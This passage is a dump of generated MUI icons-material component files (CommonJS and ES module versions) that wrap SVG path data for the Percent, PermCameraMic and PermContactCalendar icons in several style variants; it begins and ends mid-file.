    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.5 11C9.43 11 11 9.43 11 7.5S9.43 4 7.5 4 4 5.57 4 7.5 5.57 11 7.5 11m0-5C8.33 6 9 6.67 9 7.5S8.33 9 7.5 9 6 8.33 6 7.5 6.67 6 7.5 6M4.0026 18.5832 18.5902 3.9956l1.4142 1.4142L5.4168 19.9974zM16.5 13c-1.93 0-3.5 1.57-3.5 3.5s1.57 3.5 3.5 3.5 3.5-1.57 3.5-3.5-1.57-3.5-3.5-3.5m0 5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}), 'Percent');"
  },
  {
    "path": "packages/mui-icons-material/lib/PercentOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.5 4C5.57 4 4 5.57 4 7.5S5.57 11 7.5 11 11 9.43 11 7.5 9.43 4 7.5 4m0 5C6.67 9 6 8.33 6 7.5S6.67 6 7.5 6 9 6.67 9 7.5 8.33 9 7.5 9m9 4c-1.93 0-3.5 1.57-3.5 3.5s1.57 3.5 3.5 3.5 3.5-1.57 3.5-3.5-1.57-3.5-3.5-3.5m0 5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5M5.41 20 4 18.59 18.59 4 20 5.41z\"\n}), 'PercentOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PercentOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.5 4C5.57 4 4 5.57 4 7.5S5.57 11 7.5 11 11 9.43 11 7.5 9.43 4 7.5 4m0 5C6.67 9 6 8.33 6 7.5S6.67 6 7.5 6 9 6.67 9 7.5 8.33 9 7.5 9m9 4c-1.93 0-3.5 1.57-3.5 3.5s1.57 3.5 3.5 3.5 3.5-1.57 3.5-3.5-1.57-3.5-3.5-3.5m0 5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5M5.41 20 4 18.59 18.59 4 20 5.41z\"\n}), 'PercentOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PercentRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.5 4C5.57 4 4 5.57 4 7.5S5.57 11 7.5 11 11 9.43 11 7.5 9.43 4 7.5 4m0 5C6.67 9 6 8.33 6 7.5S6.67 6 7.5 6 9 6.67 9 7.5 8.33 9 7.5 9m9 4c-1.93 0-3.5 1.57-3.5 3.5s1.57 3.5 3.5 3.5 3.5-1.57 3.5-3.5-1.57-3.5-3.5-3.5m0 5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5m2.79-13.29c.39.39.39 1.02 0 1.41L6.12 19.29c-.39.39-1.02.39-1.41 0s-.39-1.02 0-1.41L17.88 4.71c.39-.39 1.02-.39 1.41 0\"\n}), 'PercentRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PercentRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.5 4C5.57 4 4 5.57 4 7.5S5.57 11 7.5 11 11 9.43 11 7.5 9.43 4 7.5 4m0 5C6.67 9 6 8.33 6 7.5S6.67 6 7.5 6 9 6.67 9 7.5 8.33 9 7.5 9m9 4c-1.93 0-3.5 1.57-3.5 3.5s1.57 3.5 3.5 3.5 3.5-1.57 3.5-3.5-1.57-3.5-3.5-3.5m0 5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5m2.79-13.29c.39.39.39 1.02 0 1.41L6.12 19.29c-.39.39-1.02.39-1.41 0s-.39-1.02 0-1.41L17.88 4.71c.39-.39 1.02-.39 1.41 0\"\n}), 'PercentRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PercentSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.5 4C5.57 4 4 5.57 4 7.5S5.57 11 7.5 11 11 9.43 11 7.5 9.43 4 7.5 4m0 5C6.67 9 6 8.33 6 7.5S6.67 6 7.5 6 9 6.67 9 7.5 8.33 9 7.5 9m9 4c-1.93 0-3.5 1.57-3.5 3.5s1.57 3.5 3.5 3.5 3.5-1.57 3.5-3.5-1.57-3.5-3.5-3.5m0 5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5M5.41 20 4 18.59 18.59 4 20 5.41z\"\n}), 'PercentSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PercentSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.5 4C5.57 4 4 5.57 4 7.5S5.57 11 7.5 11 11 9.43 11 7.5 9.43 4 7.5 4m0 5C6.67 9 6 8.33 6 7.5S6.67 6 7.5 6 9 6.67 9 7.5 8.33 9 7.5 9m9 4c-1.93 0-3.5 1.57-3.5 3.5s1.57 3.5 3.5 3.5 3.5-1.57 3.5-3.5-1.57-3.5-3.5-3.5m0 5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5M5.41 20 4 18.59 18.59 4 20 5.41z\"\n}), 'PercentSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PercentTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.5 4C5.57 4 4 5.57 4 7.5S5.57 11 7.5 11 11 9.43 11 7.5 9.43 4 7.5 4m0 5C6.67 9 6 8.33 6 7.5S6.67 6 7.5 6 9 6.67 9 7.5 8.33 9 7.5 9m9 4c-1.93 0-3.5 1.57-3.5 3.5s1.57 3.5 3.5 3.5 3.5-1.57 3.5-3.5-1.57-3.5-3.5-3.5m0 5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5M5.41 20 4 18.59 18.59 4 20 5.41z\"\n}), 'PercentTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PercentTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.5 4C5.57 4 4 5.57 4 7.5S5.57 11 7.5 11 11 9.43 11 7.5 9.43 4 7.5 4m0 5C6.67 9 6 8.33 6 7.5S6.67 6 7.5 6 9 6.67 9 7.5 8.33 9 7.5 9m9 4c-1.93 0-3.5 1.57-3.5 3.5s1.57 3.5 3.5 3.5 3.5-1.57 3.5-3.5-1.57-3.5-3.5-3.5m0 5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5M5.41 20 4 18.59 18.59 4 20 5.41z\"\n}), 'PercentTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PermCameraMic.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 5h-3.17L15 3H9L7.17 5H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h7v-2.09c-2.83-.48-5-2.94-5-5.91h2c0 2.21 1.79 4 4 4s4-1.79 4-4h2c0 2.97-2.17 5.43-5 5.91V21h7c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2m-6 8c0 1.1-.9 2-2 2s-2-.9-2-2V9c0-1.1.9-2 2-2s2 .9 2 2z\"\n}), 'PermCameraMic');"
  },
  {
    "path": "packages/mui-icons-material/lib/PermCameraMic.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 5h-3.17L15 3H9L7.17 5H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h7v-2.09c-2.83-.48-5-2.94-5-5.91h2c0 2.21 1.79 4 4 4s4-1.79 4-4h2c0 2.97-2.17 5.43-5 5.91V21h7c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2m-6 8c0 1.1-.9 2-2 2s-2-.9-2-2V9c0-1.1.9-2 2-2s2 .9 2 2z\"\n}), 'PermCameraMic');"
  },
  {
    "path": "packages/mui-icons-material/lib/PermCameraMicOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 6c-1.1 0-2 .9-2 2v4c0 1.1.9 2 2 2s2-.9 2-2V8c0-1.1-.9-2-2-2m8-1h-3.17l-1.86-2H8.96L7.17 5H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2m0 14h-7v-1.09c2.83-.48 5-2.94 5-5.91h-2c0 2.21-1.79 4-4 4s-4-1.79-4-4H6c0 2.97 2.17 5.43 5 5.91V19H4V7h4.21l.59-.65L10.04 5h4.24l1.24 1.35.59.65H20z\"\n}), 'PermCameraMicOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PermCameraMicOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 6c-1.1 0-2 .9-2 2v4c0 1.1.9 2 2 2s2-.9 2-2V8c0-1.1-.9-2-2-2m8-1h-3.17l-1.86-2H8.96L7.17 5H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2m0 14h-7v-1.09c2.83-.48 5-2.94 5-5.91h-2c0 2.21-1.79 4-4 4s-4-1.79-4-4H6c0 2.97 2.17 5.43 5 5.91V19H4V7h4.21l.59-.65L10.04 5h4.24l1.24 1.35.59.65H20z\"\n}), 'PermCameraMicOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PermCameraMicRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 5h-3.17l-1.24-1.35c-.37-.41-.91-.65-1.47-.65H9.88c-.56 0-1.1.24-1.48.65L7.17 5H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h7v-2.09c-2.45-.42-4.41-2.32-4.89-4.75-.12-.61.38-1.16.99-1.16.49 0 .88.35.98.83C8.47 15.64 10.07 17 12 17s3.53-1.36 3.91-3.17c.1-.48.5-.83.98-.83.61 0 1.11.55.99 1.16-.48 2.43-2.44 4.34-4.89 4.75V21h7c1.1 0 2-.9 2-2V7C22 5.9 21.1 5 20 5m-6 8c0 1.1-.9 2-2 2s-2-.9-2-2V9c0-1.1.9-2 2-2s2 .9 2 2z\"\n}), 'PermCameraMicRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PermCameraMicRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 5h-3.17l-1.24-1.35c-.37-.41-.91-.65-1.47-.65H9.88c-.56 0-1.1.24-1.48.65L7.17 5H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h7v-2.09c-2.45-.42-4.41-2.32-4.89-4.75-.12-.61.38-1.16.99-1.16.49 0 .88.35.98.83C8.47 15.64 10.07 17 12 17s3.53-1.36 3.91-3.17c.1-.48.5-.83.98-.83.61 0 1.11.55.99 1.16-.48 2.43-2.44 4.34-4.89 4.75V21h7c1.1 0 2-.9 2-2V7C22 5.9 21.1 5 20 5m-6 8c0 1.1-.9 2-2 2s-2-.9-2-2V9c0-1.1.9-2 2-2s2 .9 2 2z\"\n}), 'PermCameraMicRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PermCameraMicSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 5h-5.17L15 3H9L7.17 5H2v16h9v-2.09c-2.83-.48-5-2.94-5-5.91h2c0 2.21 1.79 4 4 4s4-1.79 4-4h2c0 2.97-2.17 5.43-5 5.91V21h9zm-8 8c0 1.1-.9 2-2 2s-2-.9-2-2V9c0-1.1.9-2 2-2s2 .9 2 2z\"\n}), 'PermCameraMicSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PermCameraMicSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 5h-5.17L15 3H9L7.17 5H2v16h9v-2.09c-2.83-.48-5-2.94-5-5.91h2c0 2.21 1.79 4 4 4s4-1.79 4-4h2c0 2.97-2.17 5.43-5 5.91V21h9zm-8 8c0 1.1-.9 2-2 2s-2-.9-2-2V9c0-1.1.9-2 2-2s2 .9 2 2z\"\n}), 'PermCameraMicSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PermCameraMicTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m16.11 7-.59-.65L14.28 5h-4.24L8.81 6.35l-.6.65H4v12h7v-1.09c-2.83-.48-5-2.94-5-5.91h2c0 2.21 1.79 4 4 4s4-1.79 4-4h2c0 2.97-2.17 5.43-5 5.91V19h7V7zM14 12c0 1.1-.9 2-2 2s-2-.9-2-2V8c0-1.1.9-2 2-2s2 .9 2 2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 6c-1.1 0-2 .9-2 2v4c0 1.1.9 2 2 2s2-.9 2-2V8c0-1.1-.9-2-2-2m8-1h-3.17l-1.86-2H8.96L7.17 5H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2m0 14h-7v-1.09c2.83-.48 5-2.94 5-5.91h-2c0 2.21-1.79 4-4 4s-4-1.79-4-4H6c0 2.97 2.17 5.43 5 5.91V19H4V7h4.21l.59-.65L10.04 5h4.24l1.24 1.35.59.65H20z\"\n}, \"1\")], 'PermCameraMicTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PermCameraMicTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m16.11 7-.59-.65L14.28 5h-4.24L8.81 6.35l-.6.65H4v12h7v-1.09c-2.83-.48-5-2.94-5-5.91h2c0 2.21 1.79 4 4 4s4-1.79 4-4h2c0 2.97-2.17 5.43-5 5.91V19h7V7zM14 12c0 1.1-.9 2-2 2s-2-.9-2-2V8c0-1.1.9-2 2-2s2 .9 2 2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 6c-1.1 0-2 .9-2 2v4c0 1.1.9 2 2 2s2-.9 2-2V8c0-1.1-.9-2-2-2m8-1h-3.17l-1.86-2H8.96L7.17 5H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2m0 14h-7v-1.09c2.83-.48 5-2.94 5-5.91h-2c0 2.21-1.79 4-4 4s-4-1.79-4-4H6c0 2.97 2.17 5.43 5 5.91V19H4V7h4.21l.59-.65L10.04 5h4.24l1.24 1.35.59.65H20z\"\n}, \"1\")], 'PermCameraMicTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PermContactCalendar.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3h-1V1h-2v2H8V1H6v2H5c-1.11 0-2 .9-2 2v14c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7 3c1.66 0 3 1.34 3 3s-1.34 3-3 3-3-1.34-3-3 1.34-3 3-3m6 12H6v-1c0-2 4-3.1 6-3.1s6 1.1 6 3.1z\"\n}), 'PermContactCalendar');"
  },
  {
    "path": "packages/mui-icons-material/lib/PermContactCalendar.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3h-1V1h-2v2H8V1H6v2H5c-1.11 0-2 .9-2 2v14c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7 3c1.66 0 3 1.34 3 3s-1.34 3-3 3-3-1.34-3-3 1.34-3 3-3m6 12H6v-1c0-2 4-3.1 6-3.1s6 1.1 6 3.1z\"\n}), 'PermContactCalendar');"
  },
  {
    "path": "packages/mui-icons-material/lib/PermContactCalendarOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.84 4.22c-.05-.12-.11-.23-.18-.34-.14-.21-.33-.4-.54-.54-.11-.07-.22-.13-.34-.18-.24-.1-.5-.16-.78-.16h-1V1h-2v2H8V1H6v2H5c-.42 0-.8.13-1.12.34-.21.14-.4.33-.54.54-.07.11-.13.22-.18.34-.1.24-.16.5-.16.78v14c0 1.1.89 2 2 2h14c.28 0 .54-.06.78-.16.12-.05.23-.11.34-.18.21-.14.4-.33.54-.54.21-.32.34-.71.34-1.12V5c0-.28-.06-.54-.16-.78M5 19V5h14v14zm7-6.12c-2.03 0-6 1.08-6 3.58V18h12v-1.53c0-2.51-3.97-3.59-6-3.59M8.31 16c.69-.56 2.38-1.12 3.69-1.12s3.01.56 3.69 1.12zM12 12c1.65 0 3-1.35 3-3s-1.35-3-3-3-3 1.35-3 3 1.35 3 3 3m0-4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1\"\n}), 'PermContactCalendarOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PermContactCalendarOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.84 4.22c-.05-.12-.11-.23-.18-.34-.14-.21-.33-.4-.54-.54-.11-.07-.22-.13-.34-.18-.24-.1-.5-.16-.78-.16h-1V1h-2v2H8V1H6v2H5c-.42 0-.8.13-1.12.34-.21.14-.4.33-.54.54-.07.11-.13.22-.18.34-.1.24-.16.5-.16.78v14c0 1.1.89 2 2 2h14c.28 0 .54-.06.78-.16.12-.05.23-.11.34-.18.21-.14.4-.33.54-.54.21-.32.34-.71.34-1.12V5c0-.28-.06-.54-.16-.78M5 19V5h14v14zm7-6.12c-2.03 0-6 1.08-6 3.58V18h12v-1.53c0-2.51-3.97-3.59-6-3.59M8.31 16c.69-.56 2.38-1.12 3.69-1.12s3.01.56 3.69 1.12zM12 12c1.65 0 3-1.35 3-3s-1.35-3-3-3-3 1.35-3 3 1.35 3 3 3m0-4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1\"\n}), 'PermContactCalendarOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PermContactCalendarRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3h-1V2c0-.55-.45-1-1-1s-1 .45-1 1v1H8V2c0-.55-.45-1-1-1s-1 .45-1 1v1H5c-1.11 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7 3c1.66 0 3 1.34 3 3s-1.34 3-3 3-3-1.34-3-3 1.34-3 3-3m6 12H6v-1c0-2 4-3.1 6-3.1s6 1.1 6 3.1z\"\n}), 'PermContactCalendarRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PermContactCalendarRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3h-1V2c0-.55-.45-1-1-1s-1 .45-1 1v1H8V2c0-.55-.45-1-1-1s-1 .45-1 1v1H5c-1.11 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7 3c1.66 0 3 1.34 3 3s-1.34 3-3 3-3-1.34-3-3 1.34-3 3-3m6 12H6v-1c0-2 4-3.1 6-3.1s6 1.1 6 3.1z\"\n}), 'PermContactCalendarRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PermContactCalendarSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3h-3V1h-2v2H8V1H6v2H3v18h18zm-9 3c1.66 0 3 1.34 3 3s-1.34 3-3 3-3-1.34-3-3 1.34-3 3-3m6 12H6v-1c0-2 4-3.1 6-3.1s6 1.1 6 3.1z\"\n}), 'PermContactCalendarSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PermContactCalendarSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3h-3V1h-2v2H8V1H6v2H3v18h18zm-9 3c1.66 0 3 1.34 3 3s-1.34 3-3 3-3-1.34-3-3 1.34-3 3-3m6 12H6v-1c0-2 4-3.1 6-3.1s6 1.1 6 3.1z\"\n}), 'PermContactCalendarSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PermContactCalendarTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 5H5v14h14V5zm-4 1c1.65 0 3 1.35 3 3s-1.35 3-3 3-3-1.35-3-3 1.35-3 3-3m6 12H6v-1.53c0-2.5 3.97-3.58 6-3.58s6 1.08 6 3.58z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.84 4.22c-.05-.12-.11-.23-.18-.34-.14-.21-.33-.4-.54-.54-.11-.07-.22-.13-.34-.18-.24-.1-.5-.16-.78-.16h-1V1h-2v2H8V1H6v2H5c-.42 0-.8.13-1.12.34-.21.14-.4.33-.54.54-.07.11-.13.22-.18.34-.1.24-.16.5-.16.78v14c0 1.1.89 2 2 2h14c.28 0 .54-.06.78-.16.12-.05.23-.11.34-.18.21-.14.4-.33.54-.54.21-.32.34-.71.34-1.12V5c0-.28-.06-.54-.16-.78M19 19H5V5h14zm-7-6.12c-2.03 0-6 1.08-6 3.58V18h12v-1.53c0-2.51-3.97-3.59-6-3.59M8.31 16c.69-.56 2.38-1.12 3.69-1.12s3.01.56 3.69 1.12zM12 12c1.65 0 3-1.35 3-3s-1.35-3-3-3-3 1.35-3 3 1.35 3 3 3m0-4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 